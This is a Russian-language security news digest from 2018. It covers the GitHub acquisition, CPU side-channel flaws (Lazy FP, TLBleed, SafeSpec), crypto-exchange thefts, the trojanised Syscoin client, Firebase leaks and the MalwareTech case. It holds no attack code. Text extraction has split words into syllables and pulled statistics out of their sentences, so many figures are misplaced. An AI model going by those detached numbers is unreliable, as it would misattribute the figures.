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MICROSOFT КУПИЛА
GITHUB
В  начале  июля  2018  года  ста ло  извес тно,  что  ком пания  Microsoft  покупа ет
круп ней ший хос тинг репози тори ев GitHub за 7,5 мил лиар да дол ларов. Мно‐ 
гих  поль зовате лей  гря дущая  сдел ка  не  на  шут ку  встре вожи ла,  пос ле  чего
в  Сети  ста ли  появ лять ся  петиции  про тив  сли яния,  а  опе рато ры  GitLab,  Bit‐
Bucket  и  SourceForge  сооб щили  о  зна читель ном  при рос те  тра фика —  раз‐ 
работ чики тысяча ми переме щают свои про екты на дру гие хос тинги.

Пред ста вите ли  Microsoft  пос пешили  выпус тить  ,
в котором сооб щили, что осоз нают всю ответс твен ность перед сооб щес твом
раз работ чиков,  прак тичес ки  не  собира ются  вме шивать ся  в  работу  GitHub
и  он  про дол жит  незави симое  сущес тво вание,  по‐преж нему  оста ваясь  пол‐ 
ностью  откры тым  и  бес плат ным. Одна ко  речь  так же шла  об  исполь зовании
GitHub для прод вижения решений Microsoft, и сооб щес тво, разуме ется, инте‐ 
ресо вали под робнос ти.

офи циаль ное  заяв ление

Пос ле  сли яния  пост  CEO  GitHub  получит  Нэт  Фрид ман  (Nat  Friedman),
в нас тоящее вре мя один из вице‐пре зиден тов Microsoft. В ком панию Фрид‐ 
ман  попал  пос ле  соз дания  фир мы  Xamarin,  занимав шей ся  раз работ кой
кросс‐плат формен ной импле мен тации .NET. В 2016 году Microsoft купила Xa‐
marin. Сто ит отме тить,  что клю чевая часть сте ка Xamarin была опен сор сной,
а еще одна ком пания, осно ван ная Фрид маном в девянос тых, Ximian, и вов се
была соз дана для раз работ ки решений, свя зан ных с GNOME.

Те кущий  гла ва  GitHub  и  один  из  соос новате лей  плат формы,  Крис  Ванс‐ 
трас  (Chris Wanstrath), сло жит с себя пол номочия и ста нет  тех ничес ким кон‐ 
суль тан том Microsoft.  Вмес те  с Фрид маном он  будет  работать  под  началом
исполни тель ного вице‐пре зиден та Скот та Гат ри (Scott Guthrie), отве чающе го
за Microsoft Cloud и раз витие тех нологий искусс твен ного интеллек та.

Сле ва нап раво: Крис Ванс трас, Сатья Надел ла, Нэт Фрид ман

Хо тя Фрид ман еще не всту пил в новую дол жность, диалог с сооб щес твом он
начал уже сей час. Вско ре пос ле офи циаль ного объ явле ния о гря дущей сдел‐ 
ке будущий CEO GitHub   с поль зовате лями Reddit (в рам ках серии
воп росов и отве тов AMA). Как нет рудно догадать ся, в пер вую оче редь Фрид‐ 
ман хотел отве тить на тре вожа щие комь юни ти воп росы о сли янии ком паний.

по общался

Так  как  сдел ка  еще  не  зак рыта  (это  дол жно  про изой ти  до  кон‐ 
ца 2018 года), Фрид ман мог говорить не обо всем, одна ко общее пред став‐ 
ление о пла нах Microsoft из его отве тов получить все же воз можно. Фрид ман
дал понять, что Microsoft, как и было заяв лено ранее, не пла ниру ет серь езно
менять  GitHub  и  вме шивать ся  в  его  работу.  Отве чая  на  воп рос  о  гря дущих
переме нах, Фрид ман написал, что «Microsoft покупа ет GitHub, потому что ей
нра вит ся GitHub», а так же стре мит ся лишь к тому, что бы «GitHub стал еще луч‐ 
ше как GitHub».

При  этом  Фрид ман  сооб щил,  что  мож но  ожи дать  пол ной  интегра ции
с  сер висами  Visual  Studio,  но  без  каких‐либо  радикаль ных  изме нений,
которые  соз дадут  неудобс тва  поль зовате лям.  Будущий  CEO  заверил,  что
работа над Atom и Visual Studio Code будет про дол жена, так как раз работ чики
очень  тре бова тель ны  к  сво им  инс тру мен там,  и  поль зовате ли  Visual  Studio
Code опре делен но не будут рады, если их силой зас тавят перей ти на Atom,
и наобо рот.

Ко неч но, Фрид мана  не  мог ли  не  спро сить  о  воз можном  появ лении  рек‐ 
ламы  в  пуб личных  репози тори ях  (ответ  прост:  ее  не  будет)  и  о  том,  как  он
отно сит ся к отто ку поль зовате лей на GitLab и дру гие сер висы.

«Раз работ чики  —  люди  незави симые  в  сво их  суж дени ях,  люди,
которые  всег да  име ют  здо ровую  толику  скеп тициз ма,  но  приз наю,  я
был  расс тро ен  тем,  что  некото рых  это  под тол кну ло  пол ностью
перемес тить  свой  код.  Я  беру  на  себя  ответс твен ность  и  серь езно
пос тара юсь зас лужить их доверие», — отве тил Фрид ман.

БО ЛЕЕ   IP‐АДРЕ СОВ РАЗ БЛО КИРО ВАЛ 7 000 000
РОСКОМНАДЗОР

В начале 2018  года Рос комнад зор неожи дан но  вынес из реес тра  зап рещен ных  сай тов более
 IP‐адре сов, заб локиро ван ных в ходе борь бы с мес сен дже ром Telegram. По дан ным

ресур са Usher2.Сlub, были раз бло киро ваны круп ные под сети /10, /12 сер висов Amazon, а так‐ 
же под сеть хос тинга Online.net 51.15.0.0/16.

7 000 000

Соз датель  Usher2.Club,  генераль ный  дирек тор  хос тинг‐про вай дера  «Дре мучий  лес»  Филипп
Кулин сооб щил,  что пос ле сня тия бло киров ки   по‐преж нему заб локиро ван ных  IP‐адре‐ 
сов сос тавля ет Amazon AWS (это чуть мень ше   IP‐адре сов, или   все го адресно‐ 
го прос транс тва Amazon AWS).

76,5%
3 000 000 10%

Еще    заб локиро ван ных  адре сов  при над лежат  облачно му  хос тингу  DigitalOcean,    —
ком пании Microsoft.

13% 3,5%

ЕЩЕ БОЛЬШЕ БАГОВ
В ПРОЦЕССОРАХ
Об наружен ные  в  прош лом  месяце    уяз вимос тей  Meltdown
и Spectre лиш ний раз доказа ли, что серь езные проб лемы, свя зан ные с side‐
channel‐ата ками, еще не ско ро оста нут ся позади.

но вые  вари анты

В этом месяце иссле дова тели рас ска зали сра зу о нес коль ких новых «про‐ 
цес сорных»  уяз вимос тях  и  воз можных  методах  борь бы  с  ата ками  на  такие
баги.

Lazy FP state restore
Экс плу ата ция проб лем Meltdown и Spectre нап рямую свя зана с  тем, что все
сов ремен ные  про цес соры  исполь зуют  архи тек туру  с  вне оче ред ным  (out‐of‐
order)  и  одновре мен но  упрежда ющим  (или  спе куля тив ным  —  speculative)
механиз мом исполне ния команд. Новая проб лема, получив шая иден тифика‐ 
тор CVE‐2018‐3665 и наз вание Lazy FP  state  restore,  так же отно сит ся  к  side‐
channel‐ата кам, свя зан ным со спе куля тив ным исполне нием команд.

О новой бре ши в безопас ности сооб щили сами инже неры Intel. За обна‐ 
руже ние бага спе циалис ты поб лагода рили сот рудни ков Amazon Germany, Cy‐
berus  Technology  GmbH  и  SYSGO  AG.  Так же  они  приз вали  иссле дова телей
и про изво дите лей пока не раз гла шать деталь ную информа цию о проб леме,
дав про изво дите лям и поль зовате лям боль ше вре мени на выпуск и уста нов ку
пат чей.

Уже пос ле выхода офи циаль ной пуб ликации  Intel собс твен ные бюл летени
безопас ности  пос пешили  пред ста вить  и  дру гие  раз работ чики,  в  том  чис ле
RedHat, OpenBSD, DragonFlyBSD,  Linux,  Xen Hypervisor, Microsoft. Некото рая
несог ласован ность  дей ствий  была  выз вана  тем,  что  коман ды 
и   рас ска зали о пат чах для новой проб лемы рань ше сро ка: Intel
пла ниро вала  ско орди ниро ван но  рас крыть  детали  уяз вимос ти  в  кон це
июня 2018 года, но в ито ге была вынуж дена перес мотреть пла ны.

OpenBSD
DragonflyBSD

CVE‐2018‐3665  пред став ляет  опас ность  для  про цес соров  Intel  Core,  вне
зависи мос ти  от  того,  какая  ОС  уста нов лена  на  проб лемной  машине.  Уяз‐ 
вимые  про цес соры  в  любом  слу чае  исполь зуют  фун кцию  Lazy  FPU  context
switching,  соз данную  для  опти миза ции  про изво дитель нос ти.  Так,  она  поз‐ 
воля ет  опе раци онным  сис темам  хра нить  и  вос ста нав ливать  регис тры  FPU
(Floating Point Unit, модуль опе раций с пла вающей запятой или точ кой) толь ко
в  слу чае  необ ходимос ти.  Уяз вимость  поз воля ет  сто рон ним  про цес сам
получить дос туп к этим регис трам и всем содер жащим ся в них дан ным.

Ин женеры  Intel  сооб щили,  что  проб лема  Lazy  FP  state  restore  во  мно гом
похожа  на  Spectre,  вари ант  3а,  и  ее  прак тичес ки  невоз можно  экс плу ати‐ 
ровать  через  бра узе ры,  в  отли чие  от  бага  Meltdown.  Так же  раз работ чики
заверя ют, что уяз вимость уже была устра нена во мно гих ОС и гипер визорах,
исполь зующих ся  в  самых  раз ных  кли ентах  и  решени ях  для  дата‐цен тров.
В  нас тоящее  вре мя  про изво дите ли  соф та  работа ют  над  пат чами  для  еще
не обновлен ных про дук тов, и исправ ления дол жны быть опуб ликова ны в бли‐ 
жай шие недели.

Хо рошая новость зак люча ется в том, что в дан ном слу чае баг не пот ребу ет
выпус ка новых мик рокодов для уяз вимых про цес соров и проб лема реша ется
соф твер ными исправ лени ями.

TLBleed
В  кон це  июня  ста ли  извес тны  под робнос ти  о  новой  «про цес сорной»  проб‐ 
леме  TLBleed.  Имен но  из‐за  этой  уяз вимос ти  раз работ чики  OpenBSD 

 от под дер жки тех нологии Hyper‐Threading в про цес сорах In‐
tel, о чем так же ста ло извес тно в этом месяце. Под робный док лад о TLBleed
будет  пред став лен  в  августе  2018  года  на  кон ферен ции  Black  Hat,  а  пока
с  обна ружив шими  проб лему  спе циалис тами  пооб щались  жур налис ты  изда‐ 
ния The Register.

ре‐ 
шили отка зать ся

Ав торами док лада   иссле дова тели из Амстер дам ско го сво бод‐ 
ного  уни вер ситета.  Они  рас ска зали  жур налис там,  что  обна ружи ли  спо соб
обхо да защиты буфера ассо циатив ной тран сля ции  (Translation  lookaside buf‐
fer, TLB).

выс тупа ют

Баг поз воля ет извле кать крип тогра фичес кие клю чи и дру гие важ ные дан‐ 
ные из дру гих запущен ных прог рамм, при чем коэф фици ент успешнос ти ата ки
рав няет ся  минимум  98%.  Точ ный  резуль тат  зависит  от  исполь зуемо го  про‐ 
цес сора:  про цент  успешных  атак  при  исполь зовании  Intel  Skylake  Core  i7‐
6700K равен 99,8%, при исполь зовании сер верных про цес соров Intel Broad‐
well Xeon E5‐2620 v4 — 98,2%, а про цес соры Coffeelake дают 98,8%.

В час тнос ти, ата ка поз воля ет извле кать из сто рон них прог рамм 256‐бит‐ 
ные  крип тогра фичес кие  клю чи,  исполь зуемые  для  под писания  дан ных,
во вре мя выпол нения опе рации под писи с помощью импле мен тации libgcrypt
Curve 25519 EdDSA. На под бор одно го клю ча (с исполь зовани ем машин ного
обу чения и брут форса) в сред нем тре бует ся лишь 17 секунд.

TLBleed  не  свя зана  со  спе куля тив ным  исполне нием  команд,  то  есть
не име ет отно шения к нашумев шим уяз вимос тям Meltdown и Spectre. В дан‐ 
ном слу чае брешь свя зана со сла быми мес тами тех нологии Hyper‐Threading
и тем, как про цес соры кеширу ют дан ные.

Как  нет рудно  понять  из  наз вания,  TLBleed  ата кует  буфер  ассо циатив ной
тран сля ции  (Translation  lookaside  buffer,  TLB),  то  есть  спе циали зиро ван ный
кеш про цес сора, исполь зуемый для уско рения тран сля ции адре са вир туаль‐ 
ной  памяти  в  адрес  физичес кой  памяти.  От  ранее  извес тных  side‐channel‐
атак на кеш TLBleed отли чает то, что уже сущес тву ющая защита от side‐chan‐
nel‐атак на кеш памяти не гаран тиру ет защиты от слеж ки за TLB.

Во вре мя ата ки на TLBleed про исхо дит экс плу ата ция собс твен ной импле‐ 
мен тации Intel для идеи одновре мен ной мно гопо точ ности (Simultaneous Multi‐
Threading,  SMT),  так же  извес тной  под  мар кетин говым  наз вани ем  Hyper‐
Threading.  Пос ле  вклю чения  Hyper‐Threading  один  физичес кий  про цес сор
и  одно  физичес кое  ядро  опре деля ются  опе раци онной  сис темой  как  два
отдель ных  про цес сора  и  два  логичес ких  ядра.  В  ито ге  про цес сор  может
работать с нес коль кими потока ми одновре мен но (как пра вило, их количес тво
рав но двум). При этом ресур сы и инфраструк тура ядра оста ются для потоков
общи ми, вклю чая и TLB.

За счет исполь зования общих ресур сов прог раммы, запущен ные на одном
ядре,  могут  «шпи онить»  за  потока ми  друг  дру га.  То  есть  откры вает ся  воз‐ 
можность для исполне ния так называ емых атак по вре мени (timing attack) —
раз новид ности side‐channel‐атак, в ходе которой прес тупник пыта ется ском‐ 
про мети ровать  сис тему  с  помощью  ана лиза  вре мени,  зат рачива емо го
на исполне ние тех или иных крип тогра фичес ких алго рит мов. Так, один поток
может  извле кать  информа цию  из  дру гого,  сле дя  за  тай мин гом  обра щений
к кон крет ным ресур сам и срав нивая эти дан ные с тем, как дол жно работать
ата куемое при ложе ние (осно выва ясь на его исходных кодах). Искусс твен ный
интеллект, отсле живая изме нения в TLB, помога ет опре делить, ког да целевая
прог рамма исполня ет важ ные опе рации.

Од нако на деле все не так пло хо, как может показать ся. В час тнос ти, одно
из  усло вий  реали зации  такой  ата ки —  наличие  в  сис теме  уже  работа ющей
мал вари или вре донос ного поль зовате ля. Кро ме того, по дан ным иссле дова‐ 
телей, пока уяз вимость не экс плу ати руют какие‐либо зло умыш ленни ки и вряд
ли  ста нут  в  будущем,  ведь  сущес тву ет  мно жес тво  более  прос тых  спо собов
извле чения информа ции с компь юте ров и дру гих устрой ств, тог да как экс плу‐ 
ата цию TLBleed нель зя наз вать три виаль ной задачей.

«Без  паники,  хотя  ата ка  очень  кру тая,  TLBleed  —  это  не  новая
Spectre»,  —  заявил  один  из  авто ров  иссле дова ния  жур налис там
The Register.

При этом инже неры Intel сооб щили, что не собира ются выпус кать каких‐либо
спе циаль ных  пат чей для  устра нения  TLBleed. В  ком пании полага ют,  что  уже
сущес тву ющих  конт рмер,  нап равлен ных  про тив  side‐channel‐атак,  впол не
дос таточ но  для  защиты  от  TLBleed,  при  усло вии,  что  раз работ чики  будут
писать  код пра виль но. В резуль тате проб леме даже не был прис воен собс‐ 
твен ный иден тифика тор CVE, и ком пания отка залась вып лачивать иссле дова‐ 
телям  воз награж дение  по  прог рамме  bug  bounty,  хотя  отчет  об  уяз вимос ти
был нап равлен Intel через плат форму HackerOne.

Спе циалис ты  из  Амстер дам ско го  сво бод ного  уни вер ситета  сооб щили
пред ста вите лям The Register, что они не сог ласны с такой точ кой зре ния. Они
под черки вают,  что  иде аль ный  софт,  написан ный  как  решение,  устой чивое
перед  любыми  side‐channel‐ата ками,  встре чает ся  край не  ред ко  и  бороть ся
с  проб лемой  TLBleed  исклю читель но  с  помощью  хороших  кодер ских  прак‐ 
тик — это вряд ли удач ная идея.

SafeSpec
Но далеко не все ИБ‐спе циалис ты заняты поис ком новых уяз вимос тей. Свод‐ 
ная груп па иссле дова телей из Уни вер ситета Калифор нии в Ривер сай де, Кол‐ 
леджа  Виль гель ма  и  Марии,  а  так же  Бин гемтон ско го  уни вер ситета  опуб‐ 
ликова ла док лад о тех нике SafeSpec, которая поз волит бороть ся с рис ками,
свя зан ными со спе куля тив ным исполне нием команд, и ата ками на такие уяз‐ 
вимос ти, как Spectre и Meltdown.

Спе циалис ты  пред лага ют  изо лиро вать  все  опас ные  арте фак ты,  которые
воз ника ют в ходе спе куля тив ного исполне ния команд, что бы те не мог ли быть
исполь зованы  для  получе ния  дос тупа  к  при виле гиро ван ным  дан ным.  Safe‐
Spec опи сыва ется как «прин цип раз работ ки, ког да спе куля тив ные сос тояния
хра нят ся  во  вре мен ных  струк турах,  недос тупных  пос редс твом  committed
instructions».

Эти  вре мен ные,  или  «теневые»,  струк туры,  как  их  называ ют  в  док ладе,
модифи циру ют иерар хию памяти таким обра зом, что бы спе куля тив ные ата ки
были  невоз можны.  Спе циалис ты  уве ряют,  что  их  методи ка  поз воля ет
защитить ся от всех ныне извес тных side‐channel‐атак, экс плу ати рующих раз‐ 
личные  вари анты  проб лем  Spectre  и  Meltdown,  а  так же  похожих  проб лем,
к при меру упо мяну той Lazy FP.

Ав торы  методи ки  приз нают,  что  внед рение  SafeSpec  пот ребу ет  от  Intel
и  дру гих  про изво дите лей  про цес соров  вне сения  глу боких  изме нений
для  отде ления  спе куля тив ных  струк тур  от  пер манен тных.  Кро ме  того,  при‐ 
мене ние SafeSpec пот ребу ет уве личе ния кеша L1, одна ко, по сло вам экспер‐ 
тов, аппа рат ные изме нения все же будут минималь ными.

Ес ли  говорить  о  про изво дитель нос ти,  то  авто ры  тех ники  SafeSpec  уве‐ 
ряют, что она может даже улуч шить быс тро дей ствие сис тем, в отли чие от пат‐ 
чей  про тив Spectre  и Meltdown,  которые  лишь  замед ляют  работу  компь юте‐ 
ров.

Пред ста вите ли Intel пока никак не про ком менти рова ли идею авто ров Safe‐
Spec,  так  как  инже неры  ком пании  впер вые  уви дели  док лад  спе циалис тов
одновре мен но со всем осталь ным миром.

ОС НОВАТЕЛЬ WIKIPEDIA ПОДЕЛИЛ СЯ СВО ИМ ВЗГЛЯ ДОМ
НА БУДУЩЕЕ КРИП ТОВАЛЮТ НОЙ ИНДУС ТРИИ

→«В нас тоящее вре мя все мы находим ся в пузыре. Крип томир абсо лют но  точ но, без вся ких
сом нений находит ся в пузыре. Не думаю, что най дет ся мно го людей, готовых это отри цать. Я
счи таю, в этой области нам необ ходима нас тоящая жур налис тика»
— осно ватель Wikipedia Джим ми Уэй лс на кон ферен ции BlockShow Europe 2018
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КРИПТОВАЛЮТНЫЕ
БИРЖИ ГРАБЯТ
Прес тупле ния, так или ина че свя зан ные с крип товалю тами, в пос леднее вре‐ 
мя  ста ли  одни ми  из  наибо лее  рас простра нен ных  и  при быль ных  для  прес‐ 
тупни ков.  Одна ко  в  июне  хакеры  прос то  прев зошли  себя  и  ста ли  при чиной
сра зу нес коль ких круп ных про исшес твий.

Ог рабле ние Coinrail
В середи не июня 2018 года адми нис тра ция южно корей ской крип товалют ной
бир жи  Coinrail  заяви ла  о  взло ме.  С  сер веров  ком пании  были  похище но
поряд ка 30% все го аль ткойн‐пор тфе ля бир жи,  в  час тнос ти  ICO‐токены про‐ 
ектов Pundi X (NPXS), NPER (NPER) и Aston (ATX).

Coinrail  мож но  наз вать  срав нитель но  неболь шой  бир жей:  она  замыка ет
спи сок топ‐100 по вер сии ресур са CoinMarketCap.

Сра зу пос ле офи циаль ного объ явле ния об инци ден те сайт бир жи вре мен‐ 
но  прек ратил  работу,  а  все  оставши еся  70%  средств  были  переме щены
на холод ные кошель ки. В нас тоящее вре мя про водит ся рас сле дова ние слу‐ 
чив шегося,  и  раз работ чики Coinrail  уве ряют,  что  тес но  сот рудни чают  с  пос‐ 
тра дав шими  ICO‐про екта ми  и  дру гими  обменни ками  и  бир жами,  стре мясь
«заморо зить»  укра ден ные  токены  и  бло киро вать  кошель ки  прес тупни ков.
Сооб щает ся, что сов мес тны ми уси лиями уже уда лось бло киро вать поч ти две
тре ти укра ден ных средств.

Хо тя  пред ста вите ли  Coinrail  не  озву чили  точ ную  сум му,  ока зав шуюся
в  руках  неиз вес тных  взлом щиков,  южно корей ское  изда ние  Yonhap  и  раз‐ 
работ чики Pundi X  , что ущерб сос тавил поряд ка 40 мил лиар дов вон, то
есть око ло 37 мил лионов дол ларов США.

пи шут

Ог рабле ние Bithumb
Не  успе ло  крип товалют ное  сооб щес тво  опра вить ся  от  известия  о  взло ме
Coinrail,  как про изош ло еще одно не менее мас штаб ное ограбле ние. Вновь
взло мали одну из круп ней ших крип товалют ных бирж в мире, Bithumb. На этот
раз неиз вес тные зло умыш ленни ки похити ли 35 мил лиар дов вон, то есть око‐ 
ло 31 мил лиона дол ларов в крип товалю те. Сог ласно информа ции, раз мещен‐ 
ной  на  офи циаль ном  сай те  Bithumb,  инци дент  про изо шел  в  ночь
с 19 на 20 июня 2018 года.

По ка  опе рато ры  Bithumb  не  сооб щили  никаких  под робнос тей  слу чив‐ 
шегося,  то  есть  неиз вес тно,  какие  имен но  крип товалю ты  были  похище ны,
каким  обра зом  зло умыш ленни ки  про ник ли  в  сис тему  и  как  осу щес тви ли
вывод  средств.  В  соци аль ных  сетях  и  на  круп ных  форумах,  пос вящен ных
крип товалю там, появи лась информа ция, что некото рые поль зовате ли не дос‐ 
читались токенов Ripple (RPX) на сво их акка унтах, одна ко офи циаль ных под‐ 
твержде ний это му нет.

Bithumb вре мен но при оста нови ла вывод средств, что бы зло умыш ленни ки
не мог ли вывес ти похищен ные токены. Кро ме того, все средс тва бир жи были
переве дены в холод ные (офлай новые) кошель ки, вплоть до про веде ния тща‐ 
тель ного ауди та и вос ста нов ления нор маль ной работос пособ ности сис тем.

Пред ста вите ли Bithumb пре дуп редили поль зовате лей о том, что вре мен но
не  нуж но  перево дить  на  свои  сче та  новые  средс тва  и  пытать ся  совер шать
какие‐либо опе рации, так как тран закции могут быть потеря ны сис темой. Так‐ 
же ком пания завери ла, что пла ниру ет ком пенси ровать все потерян ные поль‐ 
зовате лями средс тва из собс твен ных резер вных фон дов.

Это  не  пер вое  ограбле ние,  жер твой  которо го  ста ла  Bithumb.
В июле 2017 года бир жа уже  . Тог да со сче тов
ресур са было похище но неиз вес тное количес тво Bitcoin и Ethereum.

под верга лась ком про мета ции

Взлом раз работ чиков Syscoin
Еще  один  инци дент,  имев ший мес то  в  этом месяце,  не  был  свя зан  с  крип‐ 
товалют ными  бир жами,  одна ко  имел  пря мое  отно шение  к  крип товалю те
Syscoin и воровс тву.

Раз работ чики Syscoin   о взло ме сво его акка‐ 
унта  на  GitHub  и  офи циаль ного  репози тория  про екта.  Коман да  объ ясни ла,
что ата кующие каким‐то обра зом сумели ском про мети ровать одно го из раз‐ 
работ чиков Syscoin и его учет ные записи.

пре дуп редили поль зовате лей

9  июня  2018  года  неиз вес тные  под менили  вре донос ной  вер сией  офи‐ 
циаль ный  кли ент  для  Windows  (вер сия  3.0.4.1),  опуб ликован ный  на  GitHub.
Под мена  оста валась  незаме чен ной  вплоть  до  утра  13  июня  2018  года,  и  в
ито ге  неч то  стран ное  заподоз рили  не  раз работ чики,  а  поль зовате ли.  Дело
в том, что уста нов ка заражен ного кли ента прив лекла вни мание Windows De‐
fender SmartScreen и дру гого защит ного ПО, которое уве дом ляло пос тра дав‐ 
ших об обна руже нии вре донос ной активнос ти.

Все поль зовате ли, заг ружав шие офи циаль ный кли ент (фай лы syscoincore‐
3.0.4‐win32‐setup.exe и  syscoincore‐3.0.4‐win64‐setup.exe)  в  ука зан ный отре‐ 
зок вре мени, ока зались зараже ны мал варью. Инте рес но, что опуб ликован ные
на GitHub кли енты для Mac и Linux зло умыш ленни ки не тро нули.

Ха керы  оснасти ли  свою  вер сию  кли ента  мал варью  Arkei  Stealer,  которая
обна ружи вает ся анти вирус ными решени ями как Trojan:Win32/Feury.B!cl. Дан‐ 
ный  вре донос  спе циали зиру ется  на  обна руже нии  и  похище нии  при ват ных
клю чей от крип товалют ных кошель ков.

Те перь всех пос тра дав ших при зыва ют сроч но вос поль зовать ся анти вирус‐ 
ным  ПО,  а  луч ше  пере уста новить  с  нуля  ОС.  Так же  пред ста вите ли  Syscoin
нас тоятель но  совету ют  сме нить  пароли  (желатель но  дей ствуя  с  «чис того»
устрой ства).  Все  средс тва  на  незашиф рован ных  кошель ках,  а  так же
на  кошель ках,  которы ми  пос тра дав шие  поль зовались  пос ле  уста нов ки
заражен ной  вер сии  кли ента,  дол жны  быть  незамед литель но  переве дены
в новые,  све жесоз данные  кошель ки. Все эти опе рации  тоже рекомен дует ся
выпол нять с хорошо защищен ного компь юте ра.

Раз работ чики Syscoin при нес ли сооб щес тву свои изви нения и пообе щали,
что  теперь  все  сот рудни ки,  у  которых  есть  дос туп  к  GitHub,  будут  обя заны
исполь зовать  двух фактор ную  аутен тифика цию,  а  так же  всег да  про изво дить
про вер ки сиг натур фай лов перед заг рузкой.

МО БИЛЬ НЫЕ ПРИ ЛОЖЕ НИЯ СЛИ ВАЮТ ДАН НЫЕ ЧЕРЕЗ БД
FIREBASE
→Ана лити ки  ком пании  Appthority  пре дуп редили,  что  у  мно жес тва  раз работ чиков  мобиль ных
при ложе ний  воз ника ют  проб лемы  с  нас трой кой  баз  дан ных  Firebase  и  сопутс тву ющих  сер‐ 
висов. Из‐за это го тысячи мобиль ных при ложе ний допус кают утеч ки раз нооб разной информа‐ 
ции, в том чис ле паролей, user ID, геоло каци онных дан ных и даже информа ции о финан совых
и крип товалют ных опе раци ях.

Ана лити ки изу чили более   при ложе ний для Android и iOS и выяви ли   про дук та
(  при ложе ний для Android и   для iOS), которые обра щают ся к Firebase и исполь зуют
этот бэкенд.

2 700 000 28 502
27 227 1275

 при ложе ний (  для Android и   для iOS) хра нили дан ные внут ри   неп равиль но
нас тро енной БД Firebase, поз воляя любому жела юще му прос матри вать их содер жимое.
3046 2446 600 2271

Уяз вимыми ока зались более   БД Firebase. Общий объ ем уте чек сос тавил   дан‐ 
ных:

10% 113 Гбайт

 паролей и user ID в фор мате прос того тек ста;2 600 000

 зак рытых медицин ских дан ных (сооб щения из чатов и детали рецеп тов);4 000 000+

 записей с GPS‐коор дината ми;25 000 000

 записей о раз личных финан совых опе раци ях, вклю чая бан ков ские, пла теж ные и крип‐ 
товалют ные тран закции;
50 000

  поль зователь ских  токенов Facebook,  LinkedIn,  Firebase и из  кор поратив ных  хра‐ 
нилищ дан ных.
4 500 000+

«Дырявые» при ложе ния для Android были заг ружены из Google Play Store более 
раз, то есть сре ди изу чен ных про дук тов были и очень популяр ные.

620 000 000

НОВЫЕ ПРОБЛЕМЫ
MALWARETECH
Проб лемы  с  аме рикан ски ми  влас тями  начались  у  бри тан ско го  ИБ‐спе‐ 
циалис та  Мар куса  Хат чинса  (Marcus  Hutchins),  более  извес тно го  в  Сети
под  псев донимом  MalwareTech,  еще  в  августе  прош лого  года,  во  вре мя
визита на кон ферен ции Black Hat и DEF CON в Лас‐Вегасе. Хат чинса, который
вес ной  2017  года  в  оди ноч ку    шиф роваль щика
WannaCry,   и обви нили в соз дании и рас простра нении бан ков ско‐ 
го тро яна Kronos в 2014–2015 годы.

ос тановил  рас простра нение
арес товали

Пер вое  заседа ние  по  делу  Хат чинса    14  августа  2017  года.
На суде иссле дова тель заявил о сво ей невинов ности по всем пун ктам обви‐ 
нения, а адво каты MalwareTech вырази ли убеж денность, что пос ле пред став‐ 
ления улик Хат чинс будет пол ностью оправдан. Так как, по мне нию про куро ра,
иссле дова тель более не пред став лял опас ности, ему раз решили поль зовать‐ 
ся  интерне том,  а  так же  поз волили  переб рать ся  в  Лос‐Андже лес,  где  рас‐ 
положен  офис  ком пании  Kryptos  Logic,  в  которой  он  работа ет  (впро чем,
работать  в  США  он    с  юри дичес кой  точ ки  зре ния).  Тем
не  менее  до  окон чания  судеб ных  раз биратель ств  спе циалист  все  рав но
не может покинуть стра ну и снять GPS‐тре кер. За про шед ший год эти обсто‐ 
ятель ства никак не изме нились, и Хат чинс по‐преж нему вынуж ден оста вать ся
на тер ритории США.

сос тоялось

не  име ет  пра ва

Как ста ло извес тно в начале июня, положе ние MalwareTech, к сожале нию,
лишь  про дол жает  ухуд шать ся.  Сог ласно  новой  вер сии  обви нитель ного  зак‐ 
лючения,  к  пре дыду щим  обви нени ям  добави лись  еще  четыре.  Теперь  Хат‐ 
чинса  обви няют  в  соз дании  и  про даже  не  толь ко  бан кера  Kronos,  но  еще
и мал вари UPAS Kit.

Сто рона  обви нения  заяв ляет,  что  UPAS  Kit  «исполь зовал  форм граб бер
и веб‐инжекты, что бы перех ватывать и собирать дан ные с защищен ных пер‐ 
сональ ных компь юте ров», а так же «поз волял осу щес твить неав торизо ван ное
извле чение дан ных с защищен ных компь юте ров». Так же следс твие утвер жда‐ 
ет, что в июле 2012 года MalwareTech про дал эту мал варь челове ку, извес тно‐ 
му  как  Aurora123,  который  затем  исполь зовал  вре донос  для  атак  на  аме‐ 
рикан ских поль зовате лей.

Кро ме  того,  обви ните ли  счи тают,  что  пос ле  арес та,  в  августе 2017  года,
Хат чинс  на  доп росе  лгал  аген там ФБР.  Тог да  Хат чинс  яко бы  заявил,  буд то
вплоть  до  2016  года  и  пер вого  деталь ного  ана лиза  Kronos  он  не  знал,  что
ранее  написан ный  им  код  явля ется  частью  вре доно са  (под робнее  об  этом
аспекте мы рас ска зыва ли  ). Как утвер жда ют пред ста вите ли ФБР, поз же
спе циалист соз нался, что в 2014 году он про дал бан кер поль зовате лю, извес‐ 
тно му под ником VinnyK  (это еще один псев доним Aurora123), а зна чит, кос‐ 
венно приз нал, что сов рал во вре мя пер вого доп роса.

здесь

При этом адво каты Хат чинса нас таивают, что тог да их кли ента доп рашива‐ 
ли  в  сос тоянии  интокси кации,  не  давали  ему  спать,  дер жали  в  пол ном
неведе нии, не зачита ли пра ва и не предъ явля ли никаких обви нений. Юрис ты
тре буют исклю чения этих улик из дела как неп рием лемых.

Жур налис ты    обсу дили  новые  обви нения  в  адрес  Хат‐ 
чинса с экспер том по пра вовым воп росам и незави симым жур налис том Мар‐ 
си Уил лер (Marcy Wheeler).

BleepingComputer

«Обви нения  в  даче  лож ных  показа ний  —  это  самое  луч шее,  ведь
в таком слу чае про куро ра Невады тоже сле дует наз вать сооб щни ком
Хат чинса,  так  как его выс тупле ние в суде летом прош лого  года пол- 
ностью  про тиво речит  заяв лени ям  в  новом  обви нитель ном  зак- 
лючении», — говорит Уил лер.

Так же  эксперт  ука зыва ет  на  тот факт,  что  в  упо мяну тые  годы,  ког да  Хат чинс
яко бы соз дал и про дал мал варь UPAS Kit, он вооб ще был несовер шенно лет‐ 
ним и срок иско вой дав ности (пять лет) в дан ном слу чае дав но истек. То есть
предъ являть эти обви нения спе циалис ту не дол жны были сра зу по двум при‐ 
чинам.

Сам  Мар кус  по‐преж нему  ста рает ся  не  терять  при сутс твия  духа  и  тра‐ 
дици онно шутит о про исхо дящем в сво ем Twitter. Так, иссле дова тель пишет,
что на услу ги юрис тов уже было пот рачено более 100 тысяч дол ларов (день ги
Хат чинсу  про дол жают  жер тво вать  нерав нодуш ные  поль зовате ли  и  его  кол‐ 
леги со  все го мира),  а  теперь из‐за новых обви нений опять  «нуж но боль ше
минера лов». Так же он называ ет новые обви нения «хер ней».

